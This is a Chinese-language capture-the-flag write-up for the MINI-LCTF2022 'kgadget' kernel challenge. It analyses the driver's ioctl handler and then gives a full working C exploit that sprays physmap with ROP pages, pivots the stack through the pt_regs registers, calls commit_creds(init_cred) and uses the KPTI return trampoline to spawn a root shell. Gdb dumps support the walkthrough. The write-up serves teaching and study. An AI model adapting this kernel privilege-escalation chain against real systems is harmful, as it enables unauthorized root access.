[MINI-LCTF2022]kgadget
最后更新于 2026-10-19
[MINI-LCTF2022]kgadget
一.分析
1.kgadget_ioctl
__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
{
void (__fastcall **v3)(void *, _QWORD); // rdx
void (__fastcall *v4)(void *, _QWORD); // rbx
void (__fastcall *v5)(void *, _QWORD); // rsi
_fentry__(__file, cmd, param);
if ( cmd == 114514 )
{
v4 = *v3;
v5 = *v3;
printk(&unk_370);
printk(&unk_3A0);
qmemcpy(
(void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
"arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
48);
*(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;
printk(&unk_3F8);
v4(&unk_3F8, v5);
return 0;
}
else
{
printk(&unk_420);
return -1;
}
}
____fentry____是内核ftrace函数追踪的入口钩子,分析时可以忽略
这是唯一有用的函数
- qmemcpy的操作有些迷惑,看不太懂
.text.unlikely:000000000000011C mov rbx, [param]
.text.unlikely:000000000000011F kgadget_ptr = rbx ; void (*)(void)
.text.unlikely:000000000000011F mov __file, offset unk_370
.text.unlikely:0000000000000126 mov cmd, kgadget_ptr
.text.unlikely:0000000000000129 call printk ; PIC mode
.text.unlikely:000000000000012E mov rdi, offset unk_3A0
.text.unlikely:0000000000000135 call printk ; PIC mode
.text.unlikely:000000000000013A mov [rbp-18h], rsp
.text.unlikely:000000000000013E mov rax, [rbp-18h]
.text.unlikely:0000000000000142 mov rdi, offset unk_3F8
.text.unlikely:0000000000000149 add rax, 1000h
.text.unlikely:000000000000014F and rax, 0FFFFFFFFFFFFF000h
.text.unlikely:0000000000000155 lea rdx, [rax-0A8h] #0A8h = 168
.text.unlikely:000000000000015C mov [rbp-18h], rdx
.text.unlikely:0000000000000160 regs = rdx ; pt_regs *
.text.unlikely:0000000000000160 mov regs, 3361626E74747261h #arttnba3
.text.unlikely:000000000000016A mov [rax-0A8h], rdx
.text.unlikely:0000000000000171 mov [rax-0A0h], rdx
.text.unlikely:0000000000000178 mov [rax-98h], rdx
.text.unlikely:000000000000017F mov [rax-90h], rdx
.text.unlikely:0000000000000186 mov [rax-88h], rdx
.text.unlikely:000000000000018D mov [rax-80h], rdx
.text.unlikely:0000000000000191 mov [rax-70h], rdx #70h = 112
.text.unlikely:0000000000000195 call printk ; PIC mode
.text.unlikely:000000000000019A call __x86_indirect_thunk_rbx ; PIC mode
.text.unlikely:000000000000019F xor eax, eax
.text.unlikely:00000000000001A1 jmp short loc_1B3
逐步分析一下吧
param=rdx,那么rbx=[rdx],最后会call rbx,所以只需要让rdx为physmap中用户段ROP的地址即可
rax = rsp,rax += 1000h,nd rax, 0FFFFFFFFFFFFF000h,现在rax还是页对齐的栈地址
lead rdx, [rax-0A8h] ; mov [rbp-18h], rdx这两步是存个地址吧
后面一堆mov就是纯qmemcpy的赋值操作了,rdx为arttnba3,在栈上放7个arttnba3。。。
它清理了pt_regs区域
备注:pt_regs是在进行系统调用切换到内核态时形成的结构体
2.kgadget_write
__int64 __fastcall kgadget_write(__int64 a1, __int64 a2)
{
_fentry__(a1, a2);
raw_spin_lock(&spin);
printk(&unk_440);
pv_ops[85](&spin);
return -14;
}
raw_spin_lock(&spin)获取一个自旋锁,spin是全局变量,用于保护临界区,防止多核并发访问
pv_ops[85](&spin)其中pv_ops是一个虚表,用于在虚拟化环境执行某些操作
这里不知道虚表里面85到底代表什么操作,初步推断是自旋锁的相关操作
经过分析可以看到这个函数没用
3.kgadget_read
ssize_t __fastcall kgadget_read(file *__file, char *user_buf, size_t size, loff_t *__loff)
{
_fentry__(__file, user_buf);
raw_spin_lock(&spin);
printk(&unk_440);
pv_ops[85](&spin);
return -14;
}
这个函数没用
4.kgadget_open
int __fastcall kgadget_open(inode *__inode, file *__file)
{
_fentry__(__inode, __file);
raw_spin_lock(&spin);
printk(&unk_6C4);
pv_ops[85](&spin);
return 0;
}
这个函数也没用
二.思路
就是在exp中用mmap申请大量区域(堆喷)
并整页整页的布置ROP
然后再在physmap区域中随便蒙一个地址(physmap spary)
这样很大概率就能蒙到那个add_rsp_a0_pop_rbx_r12_r13_rbp_ret
那么rsp是怎么跳到mmap页内执行ROP的呢?
在内核栈的最高端有一个pt_regs结构体 ,驱动被调用时,内核栈只有一页,rsp与它的距离不远
利用这个gadget偏移到pt_regs内跳到r9 = pop rsp ; ret,r8 = try_hit
for(;idx < (page_size/8 - 0x30);idx++){
rop[idx]=add_rsp_a0_pop_rbx_r12_r13_rbp_ret;
}
保证了rsp的步长
for(;idx < (page_size/8 - 0x10);idx++){
rop[idx]=ret;
}
在这里布置ret区域防止rsp掠过真ROP链
最后由于题目开启了pti = on导致手搓的swaps ; iretq没切CR3
必须用内部函数把CR3页表切回用户态才行
三.Exploit
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi = 0xffffffff8108c6f0;
size_t add_rsp_a0_pop_rbx_r12_r13_rbp_ret = 0xffffffff810737fe;
size_t pop_rsp = 0xffffffff811483d0;
size_t ret = 0xffffffff810001fc;
size_t return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t iretq = 0xffffffff810002df;
size_t user_cs,user_rflags,user_sp,user_ss;
int dev_fd;
size_t page_size;
size_t try_hit;
size_t *physmap_spray_array[16000];
void save_stats(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
}
void get_shell(){
write(1, "entered\n", 8);
if(getuid()){
exit(EXIT_FAILURE);
}
write(1,"root!\n",6);
system("/bin/sh");
exit(EXIT_SUCCESS);
}
void ConstructRopchian(size_t* rop){
int idx = 0;
for(;idx < (page_size/8 - 0x30);idx++){
rop[idx]=add_rsp_a0_pop_rbx_r12_r13_rbp_ret;
}
for(;idx < (page_size/8 - 0x10);idx++){
rop[idx]=ret;
}
rop[idx++]=pop_rdi;
rop[idx++]=init_cred;
rop[idx++]=commit_creds;
rop[idx++]=return_to_usermode;
rop[idx++]=*(size_t*)"Mixt";
rop[idx++]=*(size_t*)"Mixt";
rop[idx++]=(size_t)get_shell;
rop[idx++]=user_cs;
rop[idx++]=user_rflags;
rop[idx++]=user_sp + 8;
rop[idx++]=user_ss;
}
int main(int argc,char **argv){
save_stats();
dev_fd = open("/dev/kgadget",O_RDWR);
page_size = sysconf(_SC_PAGESIZE);
physmap_spray_array[0]=mmap(NULL,page_size,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
ConstructRopchian(physmap_spray_array[0]);
for(int i = 1;i< 15000;i++){
physmap_spray_array[i]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1 ,0);
memcpy(physmap_spray_array[i],physmap_spray_array[0],page_size);
}
try_hit = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r8, try_hit;"
"mov r9, pop_rsp;"
"mov rax, 0x10;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall;"
);
}
四.说明
1.pt_regs
值得注意的是内核栈只有一页
pt_regs有着0xa8字节位于内核栈的最高地址端
struct pt_regs {
/* 偏移 字段 */
unsigned long r15; /* 0x00 */
unsigned long r14; /* 0x08 */
unsigned long r13; /* 0x10 */
unsigned long r12; /* 0x18 */
unsigned long rbp; /* 0x20 */
unsigned long rbx; /* 0x28 */
unsigned long r11; /* 0x30 */
unsigned long r10; /* 0x38 */
unsigned long r9; /* 0x40 */
unsigned long r8; /* 0x48 */
unsigned long rax; /* 0x50 */
unsigned long rcx; /* 0x58 */
unsigned long rdx; /* 0x60 */
unsigned long rsi; /* 0x68 */
unsigned long rdi; /* 0x70 */
unsigned long orig_rax; /* 0x78 */
unsigned long rip; /* 0x80 */
unsigned long cs; /* 0x88 */
unsigned long eflags; /* 0x90 */
unsigned long rsp; /* 0x98 */
unsigned long ss; /* 0xA0 */
};
有时我们可利用
pt_regs中的可控寄存器填充gadget
可控寄存器:r15,r14,r13,r12,rbp,rbx,r10,r9,r8
kadget中找到pt_regs的方式`
.text.unlikely:000000000000013A mov [rbp-18h], rsp
.text.unlikely:000000000000013E mov rax, [rbp-18h]
.text.unlikely:0000000000000142 mov rdi, offset unk_3F8
.text.unlikely:0000000000000149 add rax, 1000h
.text.unlikely:000000000000014F and rax, 0FFFFFFFFFFFFF000h
rsp += 0x1000其中0x1000是一页
之后再rsp & 0xFFFFFFFFFFFFF000定位到栈的最顶端
这是 kgadget 中用 gdb 查看的执行 exp 时的内核布局:
pwndbg> x/40gx 0xffffc9000018ff58
0xffffc9000018ff58: 0x3361626e74747261 0x3361626e74747261
0xffffc9000018ff68: 0x3361626e74747261 0x3361626e74747261
0xffffc9000018ff78: 0x3361626e74747261 0x3361626e74747261
0xffffc9000018ff88: 0x0000000000000202 0x3361626e74747261
0xffffc9000018ff98: 0xffff888007000000 0xffffffff811483d0
0xffffc9000018ffa8: 0xffffffffffffffda 0x0000000000401c18
0xffffc9000018ffb8: 0xffff888007000000 0x000000000001bf52
0xffffc9000018ffc8: 0x0000000000000003 0x0000000000000010
0xffffc9000018ffd8: 0x0000000000401c18 0x0000000000000033
0xffffc9000018ffe8: 0x0000000000000202 0x00007ffc4872b7e0
0xffffc9000018fff8: 0x000000000000002b Cannot access memory at address 0xffffc90000190000
0xffffc90000190000 ← 页边界(x/40gx 显示 Cannot access,因为这是栈顶)
0xffffc9000018fff8 +0xa0 ss = 0x2b
0xffffc9000018fff0 +0x98 rsp = 0x7ffc4872b7e0
0xffffc9000018ffe8 +0x90 eflags = 0x202
0xffffc9000018ffe0 +0x88 cs = 0x33
0xffffc9000018ffd8 +0x80 rip = 0x401c18
0xffffc9000018ffd0 +0x78 orig_rax = 0x10(ioctl)
0xffffc9000018ffc8 +0x70 rdi = 0x3
0xffffc9000018ffc0 +0x68 rsi = 0x1bf52
0xffffc9000018ffb8 +0x60 rdx = try_hit
0xffffc9000018ffb0 +0x58 rcx = 0x401c18
0xffffc9000018ffa8 +0x50 rax = 0xffffffffffffffda
0xffffc9000018ffa0 +0x48 r8 = 0xffffffff811483d0 ← pop_rsp
0xffffc9000018ff98 +0x40 r9 = 0xffff888007000000 ← try_hit
0xffffc9000018ff90 +0x38 r10 = "arttnba3"
0xffffc9000018ff88 +0x30 r11 = 0x202
0xffffc9000018ff80 +0x28 rbx = "arttnba3"
0xffffc9000018ff78 +0x20 rbp = "arttnba3"
0xffffc9000018ff70 +0x18 r12 = "arttnba3"
0xffffc9000018ff68 +0x10 r13 = "arttnba3"
0xffffc9000018ff60 +0x08 r14 = "arttnba3"
0xffffc9000018ff58 +0x00 r15 = "arttnba3" ← pt_regs 起始
2.swapgs_restore_regs_and_return_to_usermode
* pwndbg> x/30i 0xffffffff81c00fb0
0xffffffff81c00fb0: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81c00fb5: pop r15
0xffffffff81c00fb7: pop r14
0xffffffff81c00fb9: pop r13
0xffffffff81c00fbb: pop r12
0xffffffff81c00fbd: pop rbp
0xffffffff81c00fbe: pop rbx
0xffffffff81c00fbf: pop r11
0xffffffff81c00fc1: pop r10
0xffffffff81c00fc3: pop r9
0xffffffff81c00fc5: pop r8
0xffffffff81c00fc7: pop rax
0xffffffff81c00fc8: pop rcx
0xffffffff81c00fc9: pop rdx
0xffffffff81c00fca: pop rsi
0xffffffff81c00fcb: mov rdi,rsp
0xffffffff81c00fce: mov rsp,QWORD PTR gs:0x6004
0xffffffff81c00fd7: push QWORD PTR [rdi+0x30]
0xffffffff81c00fda: push QWORD PTR [rdi+0x28]
0xffffffff81c00fdd: push QWORD PTR [rdi+0x20]
0xffffffff81c00fe0: push QWORD PTR [rdi+0x18]
0xffffffff81c00fe3: push QWORD PTR [rdi+0x10]
0xffffffff81c00fe6: push QWORD PTR [rdi]
0xffffffff81c00fe8: push rax
0xffffffff81c00fe9: xchg ax,ax
0xffffffff81c00feb: mov rdi,cr3
0xffffffff81c00fee: jmp 0xffffffff81c01024
---
* pwndbg> x/30i 0xffffffff81c00fb0 + 27
0xffffffff81c00fcb: mov rdi,rsp
0xffffffff81c00fce: mov rsp,QWORD PTR gs:0x6004
0xffffffff81c00fd7: push QWORD PTR [rdi+0x30]
0xffffffff81c00fda: push QWORD PTR [rdi+0x28]
0xffffffff81c00fdd: push QWORD PTR [rdi+0x20]
0xffffffff81c00fe0: push QWORD PTR [rdi+0x18]
0xffffffff81c00fe3: push QWORD PTR [rdi+0x10]
0xffffffff81c00fe6: push QWORD PTR [rdi]
0xffffffff81c00fe8: push rax
0xffffffff81c00fe9: xchg ax,ax
0xffffffff81c00feb: mov rdi,cr3
0xffffffff81c00fee: jmp 0xffffffff81c01024
0xffffffff81c01024: or rdi,0x1000
0xffffffff81c0102b: mov cr3,rdi
0xffffffff81c0102e: pop rax
0xffffffff81c0102f: pop rdi
0xffffffff81c01030: swapgs
0xffffffff81c01033: jmp 0xffffffff81c01060
* pwndbg> x/40i 0xffffffff81c01060
0xffffffff81c01060: test BYTE PTR [rsp+0x20],0x4
0xffffffff81c01065: jne 0xffffffff81c01069
0xffffffff81c01067: iretq
在写
kadget的时候,我尝试套用core的思路手搓swapgs和iretq到用户态函数,结果崩溃
在开了KPTI的情况下,内核页表和用户态页表分隔,不能直接从内核态跳到用户态
所以需要内核中现存的函数来返回到用户页表(CR3)
手写的链:swapgs只切了GS ,iretq时CR3还是内核页表
那么如何找到
swapgs_restore_regs_and_return_to_usermode的地址?
vmlinux-to-elf vmlinux vmlinux.elf
nm ./vmlinux.elf |grep "swapgs_restore_regs_and_return_to_usermode"